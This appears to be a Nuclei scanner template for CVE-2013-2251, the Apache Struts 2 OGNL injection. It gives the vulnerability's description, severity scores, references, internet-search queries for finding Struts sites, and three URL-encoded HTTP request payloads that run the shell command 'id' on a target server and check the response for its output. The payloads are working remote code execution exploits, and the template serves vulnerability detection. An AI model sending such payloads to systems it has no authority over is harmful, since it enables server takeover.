id: CVE-2013-2251 info: name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution author: exploitation,dwisiswant0,alex severity: critical description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:", or "redirectAction:" is not properly sanitized and will be evaluated as an OGNL expression against the value stack. This introduces the possibility to inject server side code. impact: | This vulnerability can lead to remote code execution, allowing attackers to take control of the affected system. remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later. reference: - http://struts.apache.org/release/2.3.x/docs/s2-016.html - https://cwiki.apache.org/confluence/display/WW/S2-016 - https://nvd.nist.gov/vuln/detail/CVE-2013-2251 - http://archiva.apache.org/security.html - http://cxsecurity.com/issue/WLB-2014010087 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C cvss-score: 9.3 cve-id: CVE-2013-2251 cwe-id: CWE-20 epss-score: 0.97432 epss-percentile: 0.99936 cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:* metadata: max-request: 9 vendor: apache product: struts shodan-query: - http.html:"apache struts" - http.title:"struts2 showcase" - http.html:"struts problem report" fofa-query: - body="struts problem report" - title="struts2 showcase" - body="apache struts" google-query: intitle:"struts2 showcase" tags: cve2013,cve,rce,struts,apache,ognl,kev http: - raw: - | GET /index.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1 Host: {{Hostname}} Accept: */* - | GET /login.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1 Host: {{Hostname}} Accept: */* - | GET /index.action?{{params}}%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1 Host: {{Hostname}} Accept: */* payloads: params: - "redirect" - "action" - "redirectAction" matchers-condition: and matchers: - type: regex part: body regex: - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" - type: status status: - 200 - 400 condition: or # digest: 490a0046304402204b1c8d92dec0571023b7888f874ed36cee640fde6f0530d37512f77d921700b50220357fa02c4e643f3e3dfb577a873454e767ee8c023840bac3fe72af9f626e3271:922c64590222798bb761d5b6d8e72950